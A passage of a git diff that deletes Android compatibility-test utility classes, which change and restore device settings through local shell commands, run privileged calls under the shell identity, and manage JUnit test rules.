-public class SettingsStateKeeperRule extends StateKeeperRule<String> {
-
-    /**
-     * Default constructor.
-     *
-     * @param context context used to retrieve the {@link Settings} provider.
-     * @param key prefence key.
-     */
-    public SettingsStateKeeperRule(@NonNull Context context, @NonNull String key) {
-        super(new SettingsStateManager(context, SettingsUtils.NAMESPACE_SECURE, key));
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateManager.java b/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateManager.java
deleted file mode 100644
index bab06a6..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/SettingsStateManager.java
+++ /dev/null
@@ -1,65 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.provider.Settings;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import com.google.common.base.Preconditions;
-
-/**
- * Manages the state of a preference backed by {@link Settings}.
- */
-public class SettingsStateManager implements StateManager<String> {
-
-    private final Context mContext;
-    private final String mNamespace;
-    private final String mKey;
-
-    /**
-     * Default constructor.
-     *
-     * @param context context used to retrieve the {@link Settings} provider.
-     * @param namespace settings namespace.
-     * @param key prefence key.
-     */
-    public SettingsStateManager(@NonNull Context context, @NonNull String namespace,
-            @NonNull String key) {
-        mContext = Preconditions.checkNotNull(context);
-        mNamespace = Preconditions.checkNotNull(namespace);
-        mKey = Preconditions.checkNotNull(key);
-    }
-
-    @Override
-    public void set(@Nullable String value) {
-        SettingsUtils.syncSet(mContext, mNamespace, mKey, value);
-    }
-
-    @Override
-    @Nullable
-    public String get() {
-        return SettingsUtils.get(mNamespace, mKey);
-    }
-
-    @Override
-    public String toString() {
-        return "SettingsStateManager[namespace=" + mNamespace + ", key=" + mKey + "]";
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SettingsUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/SettingsUtils.java
deleted file mode 100644
index c13de45..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/SettingsUtils.java
+++ /dev/null
@@ -1,201 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Context;
-import android.provider.Settings;
-import android.text.TextUtils;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-/**
- * Provides utilities to interact with the device's {@link Settings}.
- */
-public final class SettingsUtils {
-
-    private static final String TAG = SettingsUtils.class.getSimpleName();
-
-    public static final String NAMESPACE_SECURE = "secure";
-    public static final String NAMESPACE_GLOBAL = "global";
-
-    // TODO(b/123885378): we cannot pass an empty value when using 'cmd settings', so we need
-    // to remove the property instead. Once we use the Settings API directly, we can remove this
-    // constant and all if() statements that ues it
-    static final boolean TMP_HACK_REMOVE_EMPTY_PROPERTIES = true;
-
-    /**
-     * Uses a Shell command to set the given preference.
-     */
-    public static void set(@NonNull String namespace, @NonNull String key, @Nullable String value) {
-        if (value == null) {
-            delete(namespace, key);
-            return;
-        }
-        if (TMP_HACK_REMOVE_EMPTY_PROPERTIES && TextUtils.isEmpty(value)) {
-            Log.w(TAG, "Value of " + namespace + ":" + key + " is empty; deleting it instead");
-            delete(namespace, key);
-            return;
-        }
-        runShellCommand("settings put %s %s %s default", namespace, key, value);
-    }
-
-    /**
-     * Sets a preference in the {@link #NAMESPACE_SECURE} namespace.
-     */
-    public static void set(@NonNull String key, @Nullable String value) {
-        set(NAMESPACE_SECURE, key, value);
-    }
-
-    /**
-     * Uses a Shell command to set the given preference, and verifies it was correctly set.
-     */
-    public static void syncSet(@NonNull Context context, @NonNull String namespace,
-            @NonNull String key, @Nullable String value) {
-        if (value == null) {
-            syncDelete(context, namespace, key);
-            return;
-        }
-
-        final String currentValue = get(namespace, key);
-        if (value.equals(currentValue)) {
-            // Already set, ignore
-            return;
-        }
-
-        final OneTimeSettingsListener observer =
-                new OneTimeSettingsListener(context, namespace, key);
-        set(namespace, key, value);
-        observer.assertCalled();
-
-        final String newValue = get(namespace, key);
-        if (TMP_HACK_REMOVE_EMPTY_PROPERTIES && TextUtils.isEmpty(value)) {
-            assertWithMessage("invalid value for '%s' settings", key).that(newValue)
-                .isNull();
-        } else {
-            assertWithMessage("invalid value for '%s' settings", key).that(newValue)
-                    .isEqualTo(value);
-        }
-    }
-
-    /**
-     * Sets a preference in the {@link #NAMESPACE_SECURE} namespace, using a Settings listener to
-     * block until it's set.
-     */
-    public static void syncSet(@NonNull Context context, @NonNull String key,
-            @Nullable String value) {
-        syncSet(context, NAMESPACE_SECURE, key, value);
-    }
-
-    /**
-     * Uses a Shell command to delete the given preference.
-     */
-    public static void delete(@NonNull String namespace, @NonNull String key) {
-        runShellCommand("settings delete %s %s", namespace, key);
-    }
-
-    /**
-     * Deletes a preference in the {@link #NAMESPACE_SECURE} namespace.
-     */
-    public static void delete(@NonNull String key) {
-        delete(NAMESPACE_SECURE, key);
-    }
-
-    /**
-     * Uses a Shell command to delete the given preference, and verifies it was correctly deleted.
-     */
-    public static void syncDelete(@NonNull Context context, @NonNull String namespace,
-            @NonNull String key) {
-
-        final String currentValue = get(namespace, key);
-        if (currentValue == null) {
-            // Already set, ignore
-            return;
-        }
-
-        final OneTimeSettingsListener observer = new OneTimeSettingsListener(context, namespace,
-                key);
-        delete(namespace, key);
-        observer.assertCalled();
-
-        final String newValue = get(namespace, key);
-        assertWithMessage("invalid value for '%s' settings", key).that(newValue).isNull();
-    }
-
-    /**
-     * Deletes a preference in the {@link #NAMESPACE_SECURE} namespace, using a Settings listener to
-     * block until it's deleted.
-     */
-    public static void syncDelete(@NonNull Context context, @NonNull String key) {
-        syncDelete(context, NAMESPACE_SECURE, key);
-    }
-
-    /**
-     * Gets the value of a given preference using Shell command.
-     */
-    @Nullable
-    public static String get(@NonNull String namespace, @NonNull String key) {
-        final String value = runShellCommand("settings get %s %s", namespace, key);
-        if (value == null || value.equals("null")) {
-            return null;
-        } else {
-            return value;
-        }
-    }
-
-    /**
-     * Gets the value of a preference in the {@link #NAMESPACE_SECURE} namespace.
-     */
-    @NonNull
-    public static String get(@NonNull String key) {
-        return get(NAMESPACE_SECURE, key);
-    }
-
-    private SettingsUtils() {
-        throw new UnsupportedOperationException("contain static methods only");
-    }
-
-    /**
-     * @deprecated - use {@link #set(String, String, String)} with {@link #NAMESPACE_GLOBAL}
-     */
-    @Deprecated
-    public static void putGlobalSetting(String key, String value) {
-        set(SettingsUtils.NAMESPACE_GLOBAL, key, value);
-
-    }
-
-    /**
-     * @deprecated - use {@link #set(String, String, String)} with {@link #NAMESPACE_GLOBAL}
-     */
-    @Deprecated
-    public static void putSecureSetting(String key, String value) {
-        set(SettingsUtils.NAMESPACE_SECURE, key, value);
-
-    }
-
-    /**
-     * Get a global setting for the current (foreground) user. Trims ending new line.
-     */
-    public static String getSecureSetting(String key) {
-        return SystemUtil.runShellCommand("settings --user current get secure " + key).trim();
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ShellIdentityUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/ShellIdentityUtils.java
deleted file mode 100644
index f3438ee..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ShellIdentityUtils.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.app.UiAutomation;
-import android.support.test.InstrumentationRegistry;
-
-/**
- * Provides utility methods to invoke system and privileged APIs as the shell user.
- */
-public class ShellIdentityUtils {
-
-    /**
-     * Utility interface to invoke a method against the target object.
-     *
-     * @param <T> the type returned by the invoked method.
-     * @param <U> the type of the object against which the method is invoked.
-     */
-    public interface ShellPermissionMethodHelper<T, U> {
-        /**
-         * Invokes the method against the target object.
-         *
-         * @param targetObject the object against which the method should be invoked.
-         * @return the result of the invoked method.
-         */
-        T callMethod(U targetObject);
-    }
-
-    /**
-     * Utility interface to invoke a method against the target object.
-     *
-     * @param <U> the type of the object against which the method is invoked.
-     */
-    public interface ShellPermissionMethodHelperNoReturn<U> {
-        /**
-         * Invokes the method against the target object.
-         *
-         * @param targetObject the object against which the method should be invoked.
-         */
-        void callMethod(U targetObject);
-    }
-
-    /**
-     * Invokes the specified method on the targetObject as the shell user. The method can be invoked
-     * as follows:
-     *
-     * {@code ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
-     *        (tm) -> tm.getDeviceId());}
-     */
-    public static <T, U> T invokeMethodWithShellPermissions(U targetObject,
-            ShellPermissionMethodHelper<T, U> methodHelper) {
-        final UiAutomation uiAutomation =
-                InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        try {
-            uiAutomation.adoptShellPermissionIdentity();
-            return methodHelper.callMethod(targetObject);
-        } finally {
-            uiAutomation.dropShellPermissionIdentity();
-        }
-    }
-
-    /**
-     * Invokes the specified method on the targetObject as the shell user. The method can be invoked
-     * as follows:
-     *
-     * {@code ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
-     *        (tm) -> tm.getDeviceId());}
-     */
-    public static <U> void invokeMethodWithShellPermissionsNoReturn(
-            U targetObject, ShellPermissionMethodHelperNoReturn<U> methodHelper) {
-        final UiAutomation uiAutomation =
-                InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        try {
-            uiAutomation.adoptShellPermissionIdentity();
-            methodHelper.callMethod(targetObject);
-        } finally {
-            uiAutomation.dropShellPermissionIdentity();
-        }
-    }
-
-    /**
-     * Utility interface to invoke a static method.
-     *
-     * @param <T> the type returned by the invoked method.
-     */
-    public interface StaticShellPermissionMethodHelper<T> {
-        /**
-         * Invokes the static method.
-         *
-         * @return the result of the invoked method.
-         */
-        T callMethod();
-    }
-
-    /**
-     * Invokes the specified static method as the shell user. This method can be invoked as follows:
-     *
-     * {@code ShellIdentityUtils.invokeStaticMethodWithShellPermissions(Build::getSerial));}
-     */
-    public static <T> T invokeStaticMethodWithShellPermissions(
-            StaticShellPermissionMethodHelper<T> methodHelper) {
-        final UiAutomation uiAutomation =
-                InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        try {
-            uiAutomation.adoptShellPermissionIdentity();
-            return methodHelper.callMethod();
-        } finally {
-            uiAutomation.dropShellPermissionIdentity();
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ShellUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/ShellUtils.java
deleted file mode 100644
index 8cb3290..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ShellUtils.java
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
-import android.support.test.InstrumentationRegistry;
-import android.text.TextUtils;
-import android.util.Log;
-import android.view.View;
-
-import androidx.annotation.NonNull;
-
-/**
- * Provides Shell-based utilities such as running a command.
- */
-public final class ShellUtils {
-
-    private static final String TAG = "ShellHelper";
-
-    /**
-     * Runs a Shell command, returning a trimmed response.
-     */
-    @NonNull
-    public static String runShellCommand(@NonNull String template, Object...args) {
-        final String command = String.format(template, args);
-        Log.d(TAG, "runShellCommand(): " + command);
-        try {
-            final String result = SystemUtil
-                    .runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
-            return TextUtils.isEmpty(result) ? "" : result.trim();
-        } catch (Exception e) {
-            throw new RuntimeException("Command '" + command + "' failed: ", e);
-        }
-    }
-
-    /**
-     * Tap on the view center, it may change window focus.
-     */
-    public static void tap(View view) {
-        final int[] xy = new int[2];
-        view.getLocationOnScreen(xy);
-        final int viewWidth = view.getWidth();
-        final int viewHeight = view.getHeight();
-        final int x = (int) (xy[0] + (viewWidth / 2.0f));
-        final int y = (int) (xy[1] + (viewHeight / 2.0f));
-
-        runShellCommand("input touchscreen tap %d %d", x, y);
-    }
-
-
-    private ShellUtils() {
-        throw new UnsupportedOperationException("contain static methods only");
-    }
-
-    /**
-     * Simulates input of key event.
-     *
-     * @param keyCode key event to fire.
-     */
-    public static void sendKeyEvent(String keyCode) {
-        runShellCommand("input keyevent " + keyCode);
-    }
-
-    /**
-     * Allows an app to draw overlaid windows.
-     */
-    public static void setOverlayPermissions(@NonNull String packageName, boolean allowed) {
-        final String action = allowed ? "allow" : "ignore";
-        runShellCommand("appops set %s SYSTEM_ALERT_WINDOW %s", packageName, action);
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/StateChangerRule.java b/common/device-side/util/src/com/android/compatibility/common/util/StateChangerRule.java
deleted file mode 100644
index 4e59f13..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/StateChangerRule.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import com.google.common.base.Preconditions;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.util.Objects;
-
-/**
- * JUnit rule used to prepare a state before the test is run.
- *
- * <p>It stores the current state before the test, changes it (if necessary), then restores it after
- * the test (if necessary).
- *
- * @param <T> value type
- */
-public class StateChangerRule<T> implements TestRule {
-
-    private final StateManager<T> mStateManager;
-    private final T mValue;
-
-    /**
-     * Default constructor.
-     *
-     * @param stateManager abstraction used to mange the state.
-     * @param value value to be set before the test is run.
-     */
-    public StateChangerRule(@NonNull StateManager<T> stateManager, @Nullable T value) {
-        mStateManager = Preconditions.checkNotNull(stateManager);
-        mValue = value;
-    }
-
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-
-            @Override
-            public void evaluate() throws Throwable {
-                final T previousValue = mStateManager.get();
-                if (!Objects.equals(previousValue, mValue)) {
-                    mStateManager.set(mValue);
-                }
-                try {
-                    base.evaluate();
-                } finally {
-                    final T currentValue = mStateManager.get();
-                    if (!Objects.equals(currentValue, previousValue)) {
-                        mStateManager.set(previousValue);
-                        // TODO: if set() thowns a RuntimeException, JUnit will silently catch it
-                        // and re-run the test case; it should fail instead.
-                    }
-                }
-            }
-        };
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/StateKeeperRule.java b/common/device-side/util/src/com/android/compatibility/common/util/StateKeeperRule.java
deleted file mode 100644
index ecc02a2..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/StateKeeperRule.java
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import androidx.annotation.NonNull;
-
-import com.google.common.base.Preconditions;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.util.Objects;
-
-/**
- * JUnit rule used to restore a state after the test is run.
- *
- * <p>It stores the current state before the test, and restores it after the test (if necessary).
- *
- * @param <T> value type
- */
-public class StateKeeperRule<T> implements TestRule {
-
-    private final StateManager<T> mStateManager;
-
-    /**
-     * Default constructor.
-     *
-     * @param stateManager abstraction used to mange the state.
-     */
-    public StateKeeperRule(@NonNull StateManager<T> stateManager) {
-        mStateManager = Preconditions.checkNotNull(stateManager);
-    }
-
-    /**
-     * Hook for subclasses.
-     */
-    protected void preEvaluate(@SuppressWarnings("unused") Description description) {
-    }
-
-    /**
-     * Hook for subclasses.
-     */
-    protected void postEvaluate(@SuppressWarnings("unused") Description description) {
-    }
-
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-
-            @Override
-            public void evaluate() throws Throwable {
-                final T previousValue = mStateManager.get();
-                preEvaluate(description);
-                try {
-                    base.evaluate();
-                } finally {
-                    final T currentValue = mStateManager.get();
-                    if (!Objects.equals(previousValue, currentValue)) {
-                        mStateManager.set(previousValue);
-                    }
-                }
-                postEvaluate(description);
-            }
-        };
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/StateManager.java b/common/device-side/util/src/com/android/compatibility/common/util/StateManager.java
deleted file mode 100644
index 2077e08..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/StateManager.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import androidx.annotation.Nullable;
-
-/**
- * Abstraction for a state that is managed somewhere, like Android Settings.
- *
- * @param <T> value type
- */
-public interface StateManager<T> {
-
-    /**
-     * Sets a new state.
-     */
-    void set(@Nullable T value);
-
-    /**
-     * Gets the current state.
-     */
-    @Nullable T get();
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SystemUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/SystemUtil.java
deleted file mode 100644
index fa7f046..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/SystemUtil.java
+++ /dev/null
@@ -1,206 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.ActivityManager;
-import android.app.ActivityManager.MemoryInfo;
-import android.app.Instrumentation;
-import android.app.UiAutomation;
-import android.content.Context;
-import android.os.ParcelFileDescriptor;
-import android.os.StatFs;
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.concurrent.Callable;
-import java.util.function.Predicate;
-
-public class SystemUtil {
-    private static final String TAG = "CtsSystemUtil";
-
-    public static long getFreeDiskSize(Context context) {
-        final StatFs statFs = new StatFs(context.getFilesDir().getAbsolutePath());
-        return (long)statFs.getAvailableBlocks() * statFs.getBlockSize();
-    }
-
-    public static long getFreeMemory(Context context) {
-        final MemoryInfo info = new MemoryInfo();
-        ((ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE)).getMemoryInfo(info);
-        return info.availMem;
-    }
-
-    public static long getTotalMemory(Context context) {
-        final MemoryInfo info = new MemoryInfo();
-        ((ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE)).getMemoryInfo(info);
-        return info.totalMem;
-    }
-
-    /**
-     * Executes a shell command using shell user identity, and return the standard output in string
-     * <p>Note: calling this function requires API level 21 or above
-     * @param instrumentation {@link Instrumentation} instance, obtained from a test running in
-     * instrumentation framework
-     * @param cmd the command to run
-     * @return the standard output of the command
-     * @throws Exception
-     */
-    public static String runShellCommand(Instrumentation instrumentation, String cmd)
-            throws IOException {
-        Log.v(TAG, "Running command: " + cmd);
-        if (cmd.startsWith("pm grant ") || cmd.startsWith("pm revoke ")) {
-            throw new UnsupportedOperationException("Use UiAutomation.grantRuntimePermission() "
-                    + "or revokeRuntimePermission() directly, which are more robust.");
-        }
-        ParcelFileDescriptor pfd = instrumentation.getUiAutomation().executeShellCommand(cmd);
-        byte[] buf = new byte[512];
-        int bytesRead;
-        FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
-        StringBuffer stdout = new StringBuffer();
-        while ((bytesRead = fis.read(buf)) != -1) {
-            stdout.append(new String(buf, 0, bytesRead));
-        }
-        fis.close();
-        return stdout.toString();
-    }
-
-    /**
-     * Simpler version of {@link #runShellCommand(Instrumentation, String)}.
-     */
-    public static String runShellCommand(String cmd) {
-        try {
-            return runShellCommand(InstrumentationRegistry.getInstrumentation(), cmd);
-        } catch (IOException e) {
-            fail("Failed reading command output: " + e);
-            return "";
-        }
-    }
-
-    /**
-     * Same as {@link #runShellCommand(String)}, with optionally
-     * check the result using {@code resultChecker}.
-     */
-    public static String runShellCommand(String cmd, Predicate<String> resultChecker) {
-        final String result = runShellCommand(cmd);
-        if (resultChecker != null) {
-            assertTrue("Assertion failed. Command was: " + cmd + "\n"
-                    + "Output was:\n" + result,
-                    resultChecker.test(result));
-        }
-        return result;
-    }
-
-    /**
-     * Same as {@link #runShellCommand(String)}, but fails if the output is not empty.
-     */
-    public static String runShellCommandForNoOutput(String cmd) {
-        final String result = runShellCommand(cmd);
-        assertTrue("Command failed. Command was: " + cmd + "\n"
-                + "Didn't expect any output, but the output was:\n" + result,
-                result.length() == 0);
-        return result;
-    }
-
-    /**
-     * Runs a command and print the result on logcat.
-     */
-    public static void runCommandAndPrintOnLogcat(String logtag, String cmd) {
-        Log.i(logtag, "Executing: " + cmd);
-        final String output = runShellCommand(cmd);
-        for (String line : output.split("\\n", -1)) {
-            Log.i(logtag, line);
-        }
-    }
-
-    /**
-     * Runs a command and return the section matching the patterns.
-     *
-     * @see TextUtils#extractSection
-     */
-    public static String runCommandAndExtractSection(String cmd,
-            String extractionStartRegex, boolean startInclusive,
-            String extractionEndRegex, boolean endInclusive) {
-        return TextUtils.extractSection(runShellCommand(cmd), extractionStartRegex, startInclusive,
-                extractionEndRegex, endInclusive);
-    }
-
-    /**
-     * Runs a {@link ThrowingRunnable} adopting Shell's permissions.
-     */
-    public static void runWithShellPermissionIdentity(@NonNull ThrowingRunnable runnable) {
-        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        runWithShellPermissionIdentity(automan, runnable);
-    }
-
-    /**
-     * Runs a {@link ThrowingRunnable} adopting a subset of Shell's permissions.
-     */
-    public static void runWithShellPermissionIdentity(@NonNull ThrowingRunnable runnable,
-            String... permissions) {
-        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        runWithShellPermissionIdentity(automan, runnable, permissions);
-    }
-
-    /**
-     * Runs a {@link ThrowingRunnable} adopting Shell's permissions, where you can specify the
-     * uiAutomation used.
-     */
-    public static void runWithShellPermissionIdentity(
-            @NonNull UiAutomation automan, @NonNull ThrowingRunnable runnable) {
-        runWithShellPermissionIdentity(automan, runnable, null /* permissions */);
-    }
-
-    /**
-     * Runs a {@link ThrowingRunnable} adopting Shell's permissions, where you can specify the
-     * uiAutomation used.
-     * @param automan UIAutomation to use.
-     * @param runnable The code to run with Shell's identity.
-     * @param permissions A subset of Shell's permissions. Passing {@code null} will use all
-     *                    available permissions.
-     */
-    public static void runWithShellPermissionIdentity(@NonNull UiAutomation automan,
-            @NonNull ThrowingRunnable runnable, String... permissions) {
-        automan.adoptShellPermissionIdentity(permissions);
-        try {
-            runnable.run();
-        } catch (Exception e) {
-            throw new RuntimeException("Caught exception", e);
-        } finally {
-            automan.dropShellPermissionIdentity();
-        }
-    }
-
-    /**
-     * Calls a {@link Callable} adopting Shell's permissions.
-     */
-    public static <T> T callWithShellPermissionIdentity(@NonNull Callable<T> callable)
-            throws Exception {
-        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        automan.adoptShellPermissionIdentity();
-        try {
-            return callable.call();
-        } finally {
-            automan.dropShellPermissionIdentity();
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/TestNameUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/TestNameUtils.java
deleted file mode 100644
index 2dbeaab..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/TestNameUtils.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-/**
- * Generic helper used to set / get the the name of the test being run.
- *
- * <p>Typically used on {@code @Rule} classes.
- */
-public final class TestNameUtils {
-
-    private static String sCurrentTestName;
-    private static String sCurrentTestClass;
-
-    /**
-     * Gets the name of the test current running.
-     */
-    @NonNull
-    public static String getCurrentTestName() {
-        if (sCurrentTestName != null) return sCurrentTestName;
-        if (sCurrentTestClass != null) return sCurrentTestClass;
-        return "(Unknown test)";
-    }
-
-    /**
-     * Sets the name of the test current running
-     */
-    public static void setCurrentTestName(@Nullable String name) {
-        sCurrentTestName = name;
-    }
-
-    /**
-     * Sets the name of the test class current running
-     */
-    public static void setCurrentTestClass(@Nullable String testClass) {
-        sCurrentTestClass = testClass;
-    }
-
-    /**
-     * Checks whether a test is running, based on whether {@link #setCurrentTestName(String)} was
-     * called.
-     */
-    public static boolean isRunningTest() {
-        return sCurrentTestName != null;
-    }
-
-    private TestNameUtils() {
-        throw new UnsupportedOperationException("contain static methods only");
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/TestThread.java b/common/device-side/util/src/com/android/compatibility/common/util/TestThread.java
deleted file mode 100644
index 894b9c8..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/TestThread.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-/**
- * Thread class for executing a Runnable containing assertions in a separate thread.
- * Uncaught exceptions in the Runnable are rethrown in the context of the the thread
- * calling the <code>runTest()</code> method.
- */
-public final class TestThread extends Thread {
-    private Throwable mThrowable;
-    private Runnable mTarget;
-
-    public TestThread(Runnable target) {
-        mTarget = target;
-    }
-
-    @Override
-    public final void run() {
-        try {
-            mTarget.run();
-        } catch (Throwable t) {
-            mThrowable = t;
-        }
-    }
-
-    /**
-     * Run the target Runnable object and wait until the test finish or throw
-     * out Exception if test fail.
-     *
-     * @param runTime
-     * @throws Throwable
-     */
-    public void runTest(long runTime) throws Throwable {
-        start();
-        joinAndCheck(runTime);
-    }
-
-    /**
-     * Get the Throwable object which is thrown when test running
-     * @return  The Throwable object
-     */
-    public Throwable getThrowable() {
-        return mThrowable;
-    }
-
-    /**
